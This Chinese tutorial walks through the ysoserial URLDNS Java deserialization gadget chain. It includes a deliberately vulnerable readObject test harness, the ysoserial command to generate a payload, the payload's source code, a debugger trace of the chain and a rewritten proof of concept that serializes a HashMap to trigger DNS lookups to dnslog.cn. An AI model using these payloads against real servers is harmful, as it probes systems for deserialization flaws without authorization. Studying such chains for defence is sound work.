0x01 前言

URLDNS 是 ysoserial 中最适合入门反序列化的一条利用链了
它的使用非常广,常常用于判断是否存在反序列化漏洞时使⽤
以下为该链的优点

  1. 使⽤Java内置的类构造,开箱即可用
  2. 在目标没有回显时,通过DNS请求能够得知是否存在反序列化漏洞

    0x02 环境搭建

    ``` 编辑器为: IntelliJ IDEA

java版本: java version “1.8.0_271” Java(TM) SE Runtime Environment (build 1.8.0_271-b09) Java HotSpot(TM) 64-Bit Server VM (build 25.271-b09, mixed mode)

  1. 如果懒的创建环境的话,也可以通过github下载该环境如下:<br />[https://github.com/pmiaowu/DeserializationTest](https://github.com/pmiaowu/DeserializationTest)
  2. 如果想自己一点点安装环境的话,那就按照下面的教程走一遍即可<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010275182-6f976853-bf10-48e4-a732-0551d9793581.png#clientId=u8c0346cb-65b5-4&from=paste&height=477&id=u25d59f41&margin=%5Bobject%20Object%5D&name=image.png&originHeight=954&originWidth=932&originalType=binary&ratio=1&size=80530&status=done&style=none&taskId=u5d341ae6-fa4d-4ad6-aac8-552a712dd54&width=466)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010303778-d5d79a2a-7448-4d25-830c-cd3ede7f4665.png#clientId=u8c0346cb-65b5-4&from=paste&height=674&id=u89feb534&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1348&originWidth=2528&originalType=binary&ratio=1&size=445206&status=done&style=none&taskId=u57523c99-15bf-452b-86fc-172e4e93ec6&width=1264)<br />![image.png](https://cdn.nlark.com/yuque/0/2021/png/297422/1636010343688-16ea7c87-c535-4eb1-aecb-5a5413b273c1.png#clientId=u8c0346cb-65b5-4&from=paste&height=674&id=u9f8c40ed&margin=%5Bobject%20Object%5D&name=image.png&originHeight=1348&originWidth=2528&originalType=binary&ratio=1&size=135226&status=done&style=none&taskId=uf3fb7068-2279-4fc1-87c2-c343e1766e6&width=1264)
  3. ```java
  4. // 项目创建完毕以后在: /DeserializationTest/src/main/java/
  5. // 创建这么一个 Test.java文件
  6. // Test.java 代码
  7. import java.io.FileInputStream;
  8. import java.io.ObjectInputStream;
  9. public class Test {
  10. public static void main(String[] args) throws Exception {
  11. FileInputStream fis = new FileInputStream("poc.ser");
  12. ObjectInputStream ois = new ObjectInputStream(fis);
  13. ois.readObject();
  14. ois.close();
  15. System.out.println("执行完毕");
  16. }
  17. }

image.png

后面所有的攻击就使用这个地方作为入口点进行演示了

0x03 ysoserial攻击链测试

先打开 http://dnslog.cn/ 获取个临时域名进行测试
例如获取的临时域名为: gcy9z8.dnslog.cn

  1. // 执行命令生成poc
  2. java -jar ysoserial-0.0.5-all.jar URLDNS "http://123.gcy9z8.dnslog.cn" > ./DeserializationTest/poc.ser
  3. // 执行完毕以后 DeserializationTest目录下面会生成 poc.ser

接着就去运行 Test 方法,进行攻击测试
image.png
image.png
这就是这条攻击链会造成的效果,了解了功能,那么后面就可以开始了解原理了

0x04 攻击链分析

0x04.1 payload文件介绍

首先打开并进入 ysoserial 项目
找到 /ysoserial-0.0.5/src/main/java/ysoserial/payloads/URLDNS.java 这个文件
看看 ysoserial 是如何生成URLDNS利用链的

代码如下:

  1. package ysoserial.payloads;
  2. import java.io.IOException;
  3. import java.net.InetAddress;
  4. import java.net.URLConnection;
  5. import java.net.URLStreamHandler;
  6. import java.util.HashMap;
  7. import java.net.URL;
  8. import ysoserial.payloads.annotation.Authors;
  9. import ysoserial.payloads.annotation.Dependencies;
  10. import ysoserial.payloads.util.PayloadRunner;
  11. import ysoserial.payloads.util.Reflections;
  12. /**
  13. * A blog post with more details about this gadget chain is at the url below:
  14. * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
  15. * <p>
  16. * This was inspired by Philippe Arteau @h3xstream, who wrote a blog
  17. * posting describing how he modified the Java Commons Collections gadget
  18. * in ysoserial to open a URL. This takes the same idea, but eliminates
  19. * the dependency on Commons Collections and does a DNS lookup with just
  20. * standard JDK classes.
  21. * <p>
  22. * The Java URL class has an interesting property on its equals and
  23. * hashCode methods. The URL class will, as a side effect, do a DNS lookup
  24. * during a comparison (either equals or hashCode).
  25. * <p>
  26. * As part of deserialization, HashMap calls hashCode on each key that it
  27. * deserializes, so using a Java URL object as a serialized key allows
  28. * it to trigger a DNS lookup.
  29. * <p>
  30. * Gadget Chain:
  31. * HashMap.readObject()
  32. * HashMap.putVal()
  33. * HashMap.hash()
  34. * URL.hashCode()
  35. */
  36. @SuppressWarnings({"rawtypes", "unchecked"})
  37. @Dependencies()
  38. @Authors({Authors.GEBL})
  39. public class URLDNS implements ObjectPayload<Object> {
  40. public Object getObject(final String url) throws Exception {
  41. //Avoid DNS resolution during payload creation
  42. //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
  43. URLStreamHandler handler = new SilentURLStreamHandler();
  44. HashMap ht = new HashMap(); // HashMap that will contain the URL
  45. URL u = new URL(null, url, handler); // URL to use as the Key
  46. ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
  47. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
  48. return ht;
  49. }
  50. public static void main(final String[] args) throws Exception {
  51. PayloadRunner.run(URLDNS.class, args);
  52. }
  53. /**
  54. * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
  55. * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
  56. * using the serialized object.</p>
  57. *
  58. * <b>Potential false negative:</b>
  59. * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
  60. * second resolution.</p>
  61. */
  62. static class SilentURLStreamHandler extends URLStreamHandler {
  63. protected URLConnection openConnection(URL u) throws IOException {
  64. return null;
  65. }
  66. protected synchronized InetAddress getHostAddress(URL u) {
  67. return null;
  68. }
  69. }
  70. }

0x04.2 利用链过程

ysoserial 源码的注释中给出了利用链的过程如下:

  1. HashMap.readObject()
  2. HashMap.putVal()
  3. HashMap.hash()
  4. URL.hashCode()

0x04.3 利用链跟踪

ps: ysoserial项目每个反序列化的利用类里面的getObject方法都是获取Payload的
因此getObject方法可以看成是ysoserial项目获取Payload的入口点

我们这里就跟着 ysoserial 给的poc一步步调试
首先查看 URLDNS类的 getObject方法, ysoserial会调⽤这个方法获得Payload
这个方法最后面返回的是一个Object,而这个Object就是HashMap,同时也是最后被序列列化并且返回的对象

0x04.3.1 第一步 HashMap.readObject()

接着就开始正式分析,ysoserial项目给出的路径第一步是 HashMap.readObject()
说明漏洞入口点就是 HashMap类的readObject()方法,我们跟进去
image.png

跟进去HashMap类以后,搜索readObject方法

  1. /**
  2. * Reconstitutes this map from a stream (that is, deserializes it).
  3. * @param s the stream
  4. * @throws ClassNotFoundException if the class of a serialized object
  5. * could not be found
  6. * @throws IOException if an I/O error occurs
  7. */
  8. private void readObject(java.io.ObjectInputStream s)
  9. throws IOException, ClassNotFoundException {
  10. // Read in the threshold (ignored), loadfactor, and any hidden stuff
  11. s.defaultReadObject();
  12. reinitialize();
  13. if (loadFactor <= 0 || Float.isNaN(loadFactor))
  14. throw new InvalidObjectException("Illegal load factor: " +
  15. loadFactor);
  16. s.readInt(); // Read and ignore number of buckets
  17. int mappings = s.readInt(); // Read number of mappings (size)
  18. if (mappings < 0)
  19. throw new InvalidObjectException("Illegal mappings count: " +
  20. mappings);
  21. else if (mappings > 0) { // (if zero, use defaults)
  22. // Size the table using given load factor only if within
  23. // range of 0.25...4.0
  24. float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
  25. float fc = (float)mappings / lf + 1.0f;
  26. int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
  27. DEFAULT_INITIAL_CAPACITY :
  28. (fc >= MAXIMUM_CAPACITY) ?
  29. MAXIMUM_CAPACITY :
  30. tableSizeFor((int)fc));
  31. float ft = (float)cap * lf;
  32. threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
  33. (int)ft : Integer.MAX_VALUE);
  34. // Check Map.Entry[].class since it's the nearest public type to
  35. // what we're actually creating.
  36. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
  37. @SuppressWarnings({"rawtypes","unchecked"})
  38. Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
  39. table = tab;
  40. // Read the keys and values, and put the mappings in the HashMap
  41. for (int i = 0; i < mappings; i++) {
  42. @SuppressWarnings("unchecked")
  43. K key = (K) s.readObject();
  44. @SuppressWarnings("unchecked")
  45. V value = (V) s.readObject();
  46. putVal(hash(key), key, value, false, false);
  47. }
  48. }
  49. }

接着查看ysoserial项目给出的路径

0x04.3.2 第二步 HashMap.putVal()

第二步是 HashMap.putVal() 跟进去
因此进入以后在上面代码的第48行的位置可以看到调用了hash()方法
可以看到这里将 HashMap的键名计算了hash,代码如下:

  1. putVal(hash(key), key, value, false, false);

0x04.3.3 第三步 HashMap.hash()

接着跟进去第三步是 HashMap.hash()
很明显的看得到hash方法调用了hashCode()方法,如下代码:

  1. static final int hash(Object key) {
  2. int h;
  3. return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
  4. }

0x04.3.4 第三步 断点调试 hash() 方法

接着分别对下面这两个地方打上断点,方便我们跟进去hash()方法进行调试,看看最终这个key是啥子
注意: 打上两个断点的原因是为了可以更快更准确的进入到 HashMap.readObject() 类,调用的 hash() 方法
image.png
image.png
这两个断点打上以后就可以进入下一步了

输入对应的值,准备进行断点调试,如下图:
image.png
image.png
image.png

启动调试以后,你会发现并没有走到我们想要的逻辑中
这是因为还没到反序列化点呢,点击一下那个红色圆圈,如下图:
image.png

先取消打勾,因为有大量的无关的类调用了hash()所以为了不影响我们debug,先关闭,如下图:
image.png

接着按照下图进行操作:
image.png

重新点击一下那个红色圆圈,如下图:
image.png
image.png

按下图操作,即可进入到HashMap.readObject() 类,调用的 hash() 方法,详情
image.png
image.png

0x04.3.5 第三步 断点调试结论

ysoserial项目中的URLDNS类传给HashMap.hash()的方法的key的是一个 java.net.URL对象
所以最终触发的就是URL类的hashCode()方法

0x04.3.6 第三步 hash() 方法赋值说明

ysoserial项目中的URLDNS类选择使用HashMap().put()方法进行赋值
image.png

这个赋值方法不是固定的,你要是喜欢的话,还可以使用 HashMap().putIfAbsent()方法进行赋值
只要它最终会调用putVal(hash(key), key, value, xxxx, xxxx);即可
后面重写poc的话,我会使用HashMap().putIfAbsent()进行演示的
image.png
image.png
接着继续查看ysoserial项目给出的路径

0x04.3.7 第四步 URL.hashCode()

第四步 URL.hashCode() 说是这里触发的
而我们一路跟进来的话,很明显也是URL.hashCode()触发的
因此打开 java/net/URL.java 这个类,查找hashCode()方法
image.png
直接跟进去这个 handler.hashCode(this) 然后看到调用了 getHostAddress() 方法,继续跟进
image.png
image.png
这里的InetAddress.getByName(host)会根据host头去获取IP地址,在网络上就是发了一次DNS查询,后面的就不需要在跟了,因为都是正常业务

0x04.4 利用链过程(完整)

我们重新理一下整个URLDNS的链,你会发现很清晰简单(这是最最最简单的链了)

  1. HashMap->readObject()
  2. HashMap->putVal() 这个方法实际上不能算链里面,但是它调用了hash()方法所以我列了进来
  3. HashMap->hash()
  4. URL->hashCode()
  5. URLStreamHandler->hashCode()
  6. URLStreamHandler->getHostAddress()
  7. InetAddress->getByName()

从反序列化开始的readObject()方法到最后面触发getByName(),只经过了七个方法的调用,这对比java其它的链简直不要太少
我们在看ysoserial项目的URLDNS的类利用时,会发现ysoserial项目调用了一个SilentURLStreamHandler

SilentURLStreamHandler类继承了URLStreamHandler
并重写了openConnection()getHostAddress()方法
注意哦: 这不是必须的!!!!这是因为ysoserial项目防止在生成Payload的时候也执行了URL请求与DNS查询而特地写的一个类

0x05 重写poc

  1. // 路径: /DeserializationTest/src/main/java
  2. // 文件名称: URLDNSTest.java
  3. import java.io.FileOutputStream;
  4. import java.io.ObjectOutputStream;
  5. import java.lang.reflect.Field;
  6. import java.net.URL;
  7. import java.util.HashMap;
  8. public class URLDNSTest {
  9. public static void main(String[] args) throws Exception {
  10. // 原版的
  11. poc1();
  12. // 随便换了点东西的
  13. // 注意: 这个方法在jdk1.8或以上才能正常使用
  14. // poc2();
  15. }
  16. public static void poc1() throws Exception {
  17. HashMap<URL, String> obj = new HashMap<URL, String>();
  18. String url = "http://test123.wbqgs9.dnslog.cn";
  19. URL u = new URL(url);
  20. Class clazz = Class.forName("java.net.URL");
  21. Field field = clazz.getDeclaredField("hashCode");
  22. field.setAccessible(true);
  23. // 设一个这个值,这样去put的时候就不会去查DNS
  24. field.set(u, 0xdeadbeef);
  25. // 这个test可以随便改
  26. obj.put(u, "test");
  27. // 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算
  28. // 才会调用URL->hashCode()
  29. field.set(u, -1);
  30. // 序列化
  31. FileOutputStream fileOut = new FileOutputStream("./poc.ser");
  32. ObjectOutputStream out = new ObjectOutputStream(fileOut);
  33. out.writeObject(obj);
  34. out.close();
  35. fileOut.close();
  36. }
  37. // public static void poc2() throws Exception {
  38. // HashMap<URL, String> obj = new HashMap<URL, String>();
  39. //
  40. // String url = "http://123test.wbqgs9.dnslog.cn";
  41. // URL u = new URL(url);
  42. //
  43. // Class clazz = Class.forName("java.net.URL");
  44. // Field field = clazz.getDeclaredField("hashCode");
  45. // field.setAccessible(true);
  46. //
  47. // // 设一个这个值,这样去putIfAbsent的时候就不会去查DNS
  48. // field.set(u, 0xdeadbeef);
  49. //
  50. // // 这个test可以随便改
  51. // // 最稳的还是put方法
  52. // // 注意: 这个方法在jdk1.8或以上才有
  53. // // 使用这个方法只是单纯的扩展一下说明,一个链不一定就是一成不变的
  54. // obj.putIfAbsent(u, "test");
  55. //
  56. // // 一定要设置这个URL对象的hashCode为初始值-1,这样反序列列化时才会重新计算
  57. // // 才会调用URL->hashCode()
  58. // field.set(u, -1);
  59. //
  60. // // 序列化
  61. // FileOutputStream fileOut = new FileOutputStream("./poc.ser");
  62. // ObjectOutputStream out = new ObjectOutputStream(fileOut);
  63. // out.writeObject(obj);
  64. // out.close();
  65. // fileOut.close();
  66. // }
  67. }